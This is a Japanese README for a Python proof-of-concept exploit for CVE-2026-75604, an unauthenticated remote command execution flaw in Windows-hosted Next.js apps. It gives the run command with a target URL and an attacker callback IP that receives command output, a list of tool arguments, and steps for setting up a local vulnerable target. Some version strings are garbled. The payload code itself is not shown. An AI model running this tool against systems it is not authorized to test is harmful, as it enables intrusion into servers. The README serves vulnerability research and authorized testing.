
CVE-2026-75604の概念実証エクスプロイト。Windows上でホストされているNext.jsアプリにおける認証不要のリモートコード実行であり、コールバックベースのコマンド実行とローカルターゲットのセットアップを備えています。
CVE-2026-75604 のPython概念実証コードです。これは、Cache Componentsを使用せずにPages RouterとApp Routerの両方を使用するWindowsホストのNext.jsアプリケーションにおける、認証不要のリモートコマンド実行の脆弱性です。

>=13.4 <15.5.24 または >=16.0 <16.3.3[email protected] で検証済みです。
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
Server Actionのパスはデフォルトで / です。フォームに複数のフィールドがある場合は --action-field を使用してください。
必須引数:
--target URL: Next.jsアプリケーションのベースURL--callback-ip ADDRESS: ターゲットから到達可能なIPv4アドレス--pages-cache-path PATH: 既存の動的なPages Router ISRページ--app-cache-path PATH: ファイルシステムキャッシュによってバックアップされた既存の動的なApp Routerページオプション引数:
--command COMMAND: 実行するコマンド。デフォルトは whoami--action-path PATH: 互換性のあるServer Actionを含むApp Routerページ。デフォルトは /--action-field NAME: アクションによって消費されるフォームフィールド。曖昧でない場合は自動的に検出されます--callback-port PORT: コールバックポート。デフォルトは 4331--listen-address ADDRESS: ローカルコールバックのバインドアドレス。デフォルトは 0.0.0.0--timeout SECONDS: リクエストとコールバックのタイムアウト。デフォルトは 20--insecure: TLS証明書の検証を無効にしますオプションの target/ アプリケーションは [email protected] を固定し、標準のNext.js本番サーバーを使用します:
cd target
npm ci
npm run build
npm start
別のターミナルでPoCを実行します:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
オプションのターゲットは、必要なルートと / 上の互換性のあるServer Actionを提供します。
このPoCは、教育目的、セキュリティ研究、および許可されたテストのみを目的として提供されています。所有しているシステム、または明示的にテスト許可を得たシステムでのみ使用してください。
evolutionstorm にクレジットを提供します。
このPoCは、公開アドバイザリとNext.jsパッチから独立して再構築されました。